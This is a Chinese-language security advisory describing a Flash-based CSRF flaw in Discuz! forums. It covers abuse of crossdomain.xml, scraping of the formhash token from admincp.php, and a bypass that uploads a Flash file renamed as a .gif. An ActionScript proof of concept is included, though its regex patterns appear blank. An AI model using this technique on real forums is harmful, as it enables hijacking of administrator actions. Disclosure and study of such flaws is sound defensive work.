Discuz! flash csrf vul author: 80vul-A team:http://www.80vul.com Discuz!的安全人员已经意识到csrf方面的漏洞了采用了formhash及判断Referer等来防止外部提交,如果看过[1]一文的朋友应该意识到我们可以通过flash来进行csrf攻击. 一 分析 首先我们看Discuz!6开始自带了crossdomain.xml文件,代码如下: 允许容易域的访问,对于Discuz!的formhash我们可以通过as来处理得到如下代码: import RegExp; var xml:XML = new XML(); xml.onData = function(s) { tb1.text = getFirstMatch(new RegExp("", "ig"), s, 1); } System.security.loadPolicyFile("http://192.168.1.102/crossdomain.xml"); xml.load("http://192.168.1.102/d.txt"); 熟悉as安全的人知道,flash已经修补了http头定义的漏洞,也就是说我们没有办法利用下面的代码: .addRequestHeader("Referer: http://foo/index.php?foo","www.80vul.com"); 来伪造Referer,但是我们可以通过类似于SODB-2008-01里的利用通过把flash改为gif后缀上传到目标来突破,然后我们通过html远程调用这个gif来突破. 二 利用 POC[测试Discuz!5.5 其他版本的请自己编写]如下: flash的原文件:http://www.80vul.com/dzvul/sodb/01/sodb-2008-02.fla as代码如下: import RegExp; System.security.loadPolicyFile("http://www.80vul.com/bbs/crossdomain.xml"); var xml:XML = new XML(); xml.onData = function(s) { tb1.text = getFirstMatch(new RegExp("", "ig"), s, 1); } System.security.loadPolicyFile("http://www.80vul.com/bbs/crossdomain.xml"); xml.load("http://www.80vul.com/bbs/admincp.php?action=members"); function getFirstMatch(re, s, i) { var m = null; if ((m = re.exec(s)) != null) { return m[i]; } } 远程调用的html: 三 补丁 等待官方补丁. [删除crossdomain.xml不可以完全修补该漏洞,crossdomain.xml可以为容易文件名loadPolicyFile()调用就行,所以攻击者可以通过上传等上传改名了的crossdomain.xml] 四 参考 [1]:http://superhei.blogbus.com/logs/13463505.html